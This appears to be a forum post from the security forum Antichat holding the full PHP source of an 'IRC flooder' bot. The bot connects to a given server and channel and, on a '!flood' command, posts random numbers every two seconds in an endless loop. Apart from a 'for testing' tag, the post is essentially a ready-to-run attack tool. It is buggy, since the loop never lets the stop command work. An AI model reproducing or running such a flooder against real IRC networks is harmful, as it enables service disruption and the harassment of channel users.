ANTICHAT — форум по информационной безопасности, OSINT и технологиям

<?
##################################
#  ############################  #
#    ## SImple irc flooder ##    #
#    #### Coded by FoST. ####    #
#    ## Only for testing.. ##    #
#  ############################  #
##################################

###########################################################
#######				FUNCTIONS                       #######
###########################################################

    function socket_create_connect($server,$srvport){

	//creating socket
	//_______________
	if(!$sock=socket_create(AF_INET, SOCK_STREAM, SOL_TCP))
		die("Error creating socket!\r\n");


	//connecting to socket...
	//_______________
	if(!$result=socket_connect($sock,$server,$srvport))
		die("Error socket connecting!\r\n");

	return $sock;
	}

	function irc_connect($socket_,$nick_,$name_,$ident_,$channel_){

		$str="NICK ".$nick_."\r\n";
		socket_write($socket_,$str,strlen($str));
		echo "------->  ".$str;

		$str="USER ".$ident_." 8 * : ".$name_."\r\n";
		socket_write($socket_,$str,strlen($str));
  		echo "------->  ".$str;

		$str="JOIN ".$channel_." \r\n";
		socket_write($socket_,$str,strlen($str));
		echo "------->  ".$str;

		$str="PRIVMSG ".$channel_." : Hello all!!! =)\r\n";
		socket_write($socket_,$str,strlen($str));
		echo "------->  ".$str;

	}

	function flood($socket_,$channel_){
		while(true){
			$flood_str="PRIVMSG ".$channel_." : ".(rand(-65536,65536)+rand(-65536,65536))."\r\n";
			socket_write($socket_,$flood_str,strlen($flood_str));
			sleep(2);
			}
	}

###########################################################
#######				   MAIN CODE                    #######
###########################################################

if ($argv[4]){
	$server= $argv[1]; #server adress
	$port= $argv[2]; #server port
	$channel= $argv[3]; #irc channel
	$nick= $argv[4]; #nick

	$ident="noname"; #ident
	$name="noname"; #bot name (during whois)
	$flooding=false;
	} else
		die("\r\n".
			"Usage:\r\n".
			"server port #channel Your_nick\r\n".
			"Example: irc.somehost.ru #MyChannel 6667 NoName\r\n");

	//creating socket, connecting to server and connecting to irc...
	//______________
	$socket=socket_create_connect($server,$port);
    irc_connect($socket,$nick,$name,$ident,$channel);

	while ($body = socket_read($socket,128)) {

		echo convert_cyr_string($body,"w","a");

		if (preg_match("/^PING(.*)$/i",$body,$matches)) {
			$PONG="PONG $1\r\n";
			echo $PONG;
			socket_write($socket,$PONG,strlen($PONG));
			}

		#quit bot
		if (preg_match("/[^.]!quit/",$body,$matches)){
			socket_write($socket,"QUIT\r\n",strlen("QUIT\r\n"));
			}

		#start flooding
		if (preg_match("/[^.]!flood/",$body,$matches)){
			$flooding=true;
			}

		#stop flooding
		if (preg_match("/[^.]!stopflood/",$body,$matches)){
			$flooding=false;
			}

		if ($flooding){
			flood($socket,$channel);
			}

		}
?>

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